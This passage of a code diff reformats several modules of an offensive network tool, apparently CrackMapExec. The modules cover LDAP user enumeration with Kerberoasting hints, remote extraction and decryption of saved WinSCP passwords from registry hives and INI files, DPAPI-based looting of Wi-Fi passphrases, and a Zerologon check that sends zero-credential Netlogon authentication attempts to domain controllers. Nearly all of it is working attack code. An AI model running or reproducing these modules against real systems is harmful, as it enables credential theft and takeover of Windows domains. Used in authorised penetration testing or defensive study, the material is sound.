except SessionError as e:
|
||||
|
||||
if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
|
||||
pass
|
||||
|
||||
|
||||
+62
-52
@@ -1,65 +1,75 @@
|
||||
class CMEModule:
|
||||
"""
|
||||
Basic enumeration of provided user information and privileges
|
||||
Module by spyr0 (@spyr0-sec)
|
||||
Basic enumeration of provided user information and privileges
|
||||
Module by spyr0 (@spyr0-sec)
|
||||
"""
|
||||
name = 'whoami'
|
||||
description = 'Get details of provided user'
|
||||
supported_protocols = ['ldap']
|
||||
opsec_safe = True #Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
name = "whoami"
|
||||
description = "Get details of provided user"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USER Enumerate information about a different SamAccountName
|
||||
USER Enumerate information about a different SamAccountName
|
||||
"""
|
||||
self.username = None
|
||||
if 'USER' in module_options:
|
||||
self.username = module_options['USER']
|
||||
if "USER" in module_options:
|
||||
self.username = module_options["USER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchBase = connection.ldapConnection._baseDN
|
||||
if self.username is None:
|
||||
searchFilter = f'(sAMAccountName={connection.username})'
|
||||
else:
|
||||
searchFilter = f'(sAMAccountName={format(self.username)})'
|
||||
|
||||
context.log.debug(f'Using naming context: {searchBase} and {searchFilter} as search filter')
|
||||
searchBase = connection.ldapConnection._baseDN
|
||||
if self.username is None:
|
||||
searchFilter = f"(sAMAccountName={connection.username})"
|
||||
else:
|
||||
searchFilter = f"(sAMAccountName={format(self.username)})"
|
||||
|
||||
# Get attributes of provided user
|
||||
r = connection.ldapConnection.search(
|
||||
searchBase=searchBase,
|
||||
searchFilter=searchFilter,
|
||||
attributes=['name','sAmAccountName','description','distinguishedName','pwdLastSet','logonCount','lastLogon','userAccountControl','servicePrincipalName','memberOf'],
|
||||
sizeLimit=999
|
||||
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
|
||||
|
||||
)
|
||||
for response in r[0]['attributes']:
|
||||
if 'userAccountControl' in str(response['type']):
|
||||
if str(response['vals'][0]) == "512":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
elif str(response['vals'][0]) == "514":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
elif str(response['vals'][0]) == "66048":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
elif str(response['vals'][0]) == "66050":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
elif 'lastLogon' in str(response['type']):
|
||||
if str(response['vals'][0]) == "1601":
|
||||
context.log.highlight(f"Last logon: Never")
|
||||
else:
|
||||
context.log.highlight(f"Last logon: {response['vals'][0]}")
|
||||
elif 'memberOf' in str(response['type']):
|
||||
for group in response['vals']:
|
||||
context.log.highlight(f'Member of: {group}')
|
||||
elif 'servicePrincipalName' in str(response['type']):
|
||||
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
|
||||
for spn in response['vals']:
|
||||
context.log.highlight(f"Service Account Name: {spn}")
|
||||
# Get attributes of provided user
|
||||
r = connection.ldapConnection.search(
|
||||
searchBase=searchBase,
|
||||
searchFilter=searchFilter,
|
||||
attributes=[
|
||||
"name",
|
||||
"sAmAccountName",
|
||||
"description",
|
||||
"distinguishedName",
|
||||
"pwdLastSet",
|
||||
"logonCount",
|
||||
"lastLogon",
|
||||
"userAccountControl",
|
||||
"servicePrincipalName",
|
||||
"memberOf",
|
||||
],
|
||||
sizeLimit=999,
|
||||
)
|
||||
for response in r[0]["attributes"]:
|
||||
if "userAccountControl" in str(response["type"]):
|
||||
if str(response["vals"][0]) == "512":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
elif str(response["vals"][0]) == "514":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
elif str(response["vals"][0]) == "66048":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
elif str(response["vals"][0]) == "66050":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
elif "lastLogon" in str(response["type"]):
|
||||
if str(response["vals"][0]) == "1601":
|
||||
context.log.highlight(f"Last logon: Never")
|
||||
else:
|
||||
context.log.highlight(response['type'] + ": " + response['vals'][0])
|
||||
|
||||
context.log.highlight(f"Last logon: {response['vals'][0]}")
|
||||
elif "memberOf" in str(response["type"]):
|
||||
for group in response["vals"]:
|
||||
context.log.highlight(f"Member of: {group}")
|
||||
elif "servicePrincipalName" in str(response["type"]):
|
||||
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
|
||||
for spn in response["vals"]:
|
||||
context.log.highlight(f"Service Account Name: {spn}")
|
||||
else:
|
||||
context.log.highlight(response["type"] + ": " + response["vals"][0])
|
||||
|
||||
+106
-71
@@ -19,11 +19,12 @@ import configparser
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Module by @NeffIsBack
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
name = 'winscp'
|
||||
description = 'Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.'
|
||||
supported_protocols = ['smb']
|
||||
|
||||
name = "winscp"
|
||||
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -37,14 +38,14 @@ class CMEModule:
|
||||
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
|
||||
for every user found on the System.
|
||||
"""
|
||||
if 'PATH' in module_options:
|
||||
self.filepath = module_options['PATH']
|
||||
if "PATH" in module_options:
|
||||
self.filepath = module_options["PATH"]
|
||||
else:
|
||||
self.filepath = ""
|
||||
|
||||
self.PW_MAGIC = 0xA3
|
||||
self.PW_FLAG = 0xFF
|
||||
self.share = 'C$'
|
||||
self.share = "C$"
|
||||
self.userDict = {}
|
||||
|
||||
# ==================== Helper ====================
|
||||
@@ -63,15 +64,19 @@ class CMEModule:
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
for userObject in allUserObjects:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
self.userDict[userObject] = userProfilePath.split('\\')[-1]
|
||||
self.userDict[userObject] = userProfilePath.split("\\")[-1]
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
|
||||
@@ -95,7 +100,7 @@ class CMEModule:
|
||||
else:
|
||||
pwLength = pwFlag
|
||||
to_be_deleted, passBytes = self.dec_next_char(passBytes)
|
||||
passBytes = passBytes[to_be_deleted * 2:]
|
||||
passBytes = passBytes[to_be_deleted * 2 :]
|
||||
|
||||
# decrypt the password
|
||||
clearpass = ""
|
||||
@@ -103,7 +108,7 @@ class CMEModule:
|
||||
val, passBytes = self.dec_next_char(passBytes)
|
||||
clearpass += chr(val)
|
||||
if pwFlag == self.PW_FLAG:
|
||||
clearpass = clearpass[len(key):]
|
||||
clearpass = clearpass[len(key) :]
|
||||
return clearpass
|
||||
|
||||
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
|
||||
@@ -119,7 +124,7 @@ class CMEModule:
|
||||
a = passBytes[0]
|
||||
b = passBytes[1]
|
||||
passBytes = passBytes[2:]
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes
|
||||
|
||||
# ==================== Handle Registry ====================
|
||||
def registrySessionExtractor(self, context, connection, userObject, sessionName):
|
||||
@@ -131,15 +136,19 @@ class CMEModule:
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName)
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0])
|
||||
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0]
|
||||
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
|
||||
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
|
||||
try:
|
||||
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0]
|
||||
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
|
||||
except:
|
||||
context.log.debug("Session found but no Password is stored!")
|
||||
password = ""
|
||||
@@ -170,23 +179,23 @@ class CMEModule:
|
||||
|
||||
# Enumerate all logged in and loaded Users on System
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
users = data['lpcSubKeys']
|
||||
users = data["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
userNames = []
|
||||
for i in range(users):
|
||||
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
||||
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
# Filter legit users in regex
|
||||
userNames.remove('.DEFAULT')
|
||||
regex = re.compile(r'^.*_Classes$')
|
||||
userNames.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
userObjects = [i for i in userNames if not regex.match(i)]
|
||||
except:
|
||||
context.log.fail("Error handling Users in registry")
|
||||
@@ -207,17 +216,21 @@ class CMEModule:
|
||||
|
||||
# Enumerate all Users on System
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
users = data['lpcSubKeys']
|
||||
users = data["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
for i in range(users):
|
||||
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
||||
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
except:
|
||||
context.log.fail("Error handling Users in registry")
|
||||
@@ -237,23 +250,32 @@ class CMEModule:
|
||||
for userObject in unloadedUserObjects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
# Load Profile
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
|
||||
rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT")
|
||||
rrp.hBaseRegLoadKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
userObject,
|
||||
userProfilePath + "\\" + "NTUSER.DAT",
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -268,10 +290,10 @@ class CMEModule:
|
||||
|
||||
# Unload Profile
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
||||
@@ -289,12 +311,16 @@ class CMEModule:
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1]
|
||||
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
@@ -317,31 +343,38 @@ class CMEModule:
|
||||
|
||||
# Retrieve how many sessions are stored in registry from each UserObject
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
for userObject in allUserObjects:
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
sessions = data['lpcSubKeys']
|
||||
context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject]))
|
||||
sessions = data["lpcSubKeys"]
|
||||
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
|
||||
|
||||
# Get Session Names
|
||||
sessionNames = []
|
||||
for i in range(sessions):
|
||||
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
|
||||
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
sessionNames.remove('Default%20Settings')
|
||||
sessionNames.remove("Default%20Settings")
|
||||
|
||||
if self.checkMasterpasswordSet(connection, userObject):
|
||||
context.log.fail("MasterPassword set! Aborting extraction...")
|
||||
continue
|
||||
# Extract stored Session infos
|
||||
for sessionName in sessionNames:
|
||||
self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName))
|
||||
self.printCreds(
|
||||
context,
|
||||
self.registrySessionExtractor(context, connection, userObject, sessionName),
|
||||
)
|
||||
except DCERPCException as e:
|
||||
if str(e).find('ERROR_FILE_NOT_FOUND'):
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
|
||||
except Exception:
|
||||
context.log.fail("Unexpected error:")
|
||||
@@ -349,7 +382,7 @@ class CMEModule:
|
||||
self.unloadMissingUsers(context, connection, unloadedUserObjects)
|
||||
except DCERPCException as e:
|
||||
# Error during registry query
|
||||
if str(e).find('rpc_s_access_denied'):
|
||||
if str(e).find("rpc_s_access_denied"):
|
||||
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
|
||||
except:
|
||||
context.log.fail("UNEXPECTED ERROR:")
|
||||
@@ -363,16 +396,16 @@ class CMEModule:
|
||||
config.read_string(confFile)
|
||||
|
||||
# Stop extracting creds if Master Password is set
|
||||
if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1):
|
||||
if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1:
|
||||
context.log.fail("Master Password Set, unable to recover saved passwords!")
|
||||
return
|
||||
|
||||
for section in config.sections():
|
||||
if config.has_option(section, 'HostName'):
|
||||
hostName = unquote(config.get(section, 'HostName'))
|
||||
userName = config.get(section, 'UserName')
|
||||
if config.has_option(section, 'Password'):
|
||||
encPassword = config.get(section, 'Password')
|
||||
if config.has_option(section, "HostName"):
|
||||
hostName = unquote(config.get(section, "HostName"))
|
||||
userName = config.get(section, "UserName")
|
||||
if config.has_option(section, "Password"):
|
||||
encPassword = config.get(section, "Password")
|
||||
decPassword = self.decryptPasswd(hostName, userName, encPassword)
|
||||
else:
|
||||
decPassword = "NO_PASSWORD_FOUND"
|
||||
@@ -381,8 +414,8 @@ class CMEModule:
|
||||
|
||||
def getConfigFile(self, context, connection):
|
||||
if self.filepath:
|
||||
self.share = (self.filepath.split(':')[0] + "$")
|
||||
path = self.filepath.split(':')[1]
|
||||
self.share = self.filepath.split(":")[0] + "$"
|
||||
path = self.filepath.split(":")[1]
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
@@ -397,23 +430,25 @@ class CMEModule:
|
||||
context.log.display("Looking for WinSCP creds in User documents and AppData...")
|
||||
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
|
||||
users = []
|
||||
for row in output.split('\r\n'):
|
||||
for row in output.split("\r\n"):
|
||||
users.append(row.strip())
|
||||
users = users[2:]
|
||||
|
||||
# Iterate over found users and default paths to look for WinSCP.ini files
|
||||
for user in users:
|
||||
paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
|
||||
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")]
|
||||
paths = [
|
||||
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
|
||||
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
|
||||
]
|
||||
for path in paths:
|
||||
confFile = ""
|
||||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(self.share, path, buf.write)
|
||||
confFile = buf.getvalue().decode()
|
||||
context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path))
|
||||
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
|
||||
except:
|
||||
context.log.debug("No config file found at \"{}\"".format(self.share + path))
|
||||
context.log.debug('No config file found at "{}"'.format(self.share + path))
|
||||
if confFile:
|
||||
self.decodeConfigFile(context, confFile)
|
||||
|
||||
|
||||
+15
-12
@@ -10,16 +10,14 @@ from cme.helpers.logger import highlight
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'wifi'
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
@@ -48,7 +46,7 @@ class CMEModule:
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug("Could not upgrade connection: {}".format(e))
|
||||
@@ -60,7 +58,7 @@ class CMEModule:
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get masterkeys: {}".format(e))
|
||||
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
@@ -74,14 +72,19 @@ class CMEModule:
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting wifi: {}".format(e))
|
||||
for wifi_cred in wifi_creds:
|
||||
if wifi_cred.auth.upper() == 'OPEN':
|
||||
if wifi_cred.auth.upper() == "OPEN":
|
||||
context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
|
||||
if wifi_cred.auth.upper() in ['WPAPSK', 'WPA2PSK']:
|
||||
if wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK"]:
|
||||
try:
|
||||
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password.decode('latin-1')))
|
||||
context.log.highlight(
|
||||
"[%s] %s - Passphrase: %s"
|
||||
% (
|
||||
wifi_cred.auth.upper(),
|
||||
wifi_cred.ssid,
|
||||
wifi_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
except:
|
||||
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
|
||||
else:
|
||||
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))
|
||||
|
||||
|
||||
|
||||
+30
-20
@@ -28,21 +28,29 @@ class CMEModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
|
||||
self.context.log.highlight("VULNERABLE")
|
||||
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
|
||||
try:
|
||||
host = self.context.db.get_hosts(connection.host)[0]
|
||||
self.context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True)
|
||||
self.context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
zerologon=True,
|
||||
)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error updating zerologon status in database")
|
||||
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer):
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
self.context.log.debug('Performing authentication attempts...')
|
||||
self.context.log.debug("Performing authentication attempts...")
|
||||
rpc_con = None
|
||||
try:
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
@@ -51,15 +59,17 @@ class CMEModule:
|
||||
if result:
|
||||
return True
|
||||
else:
|
||||
self.context.log.debug('\nAttack failed. Target is probably patched.')
|
||||
self.context.log.debug("\nAttack failed. Target is probably patched.")
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"Error while connecting to host: DCERPCException, "
|
||||
f"which means this is probably not a DC!")
|
||||
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
|
||||
|
||||
|
||||
def fail(msg):
|
||||
cme_logger.debug(msg, file=sys.stderr)
|
||||
cme_logger.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
|
||||
cme_logger.debug(
|
||||
"This might have been caused by invalid arguments or network issues.",
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
@@ -67,34 +77,34 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
|
||||
# Connect to the DC's Netlogon service.
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
plaintext = b"\x00" * 8
|
||||
ciphertext = b"\x00" * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
flags = 0x212FFFFF
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
|
||||
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con,
|
||||
dc_handle + '\x00',
|
||||
target_computer + '$\x00',
|
||||
dc_handle + "\x00",
|
||||
target_computer + "$\x00",
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
target_computer + '\x00',
|
||||
target_computer + "\x00",
|
||||
ciphertext,
|
||||
flags
|
||||
flags,
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
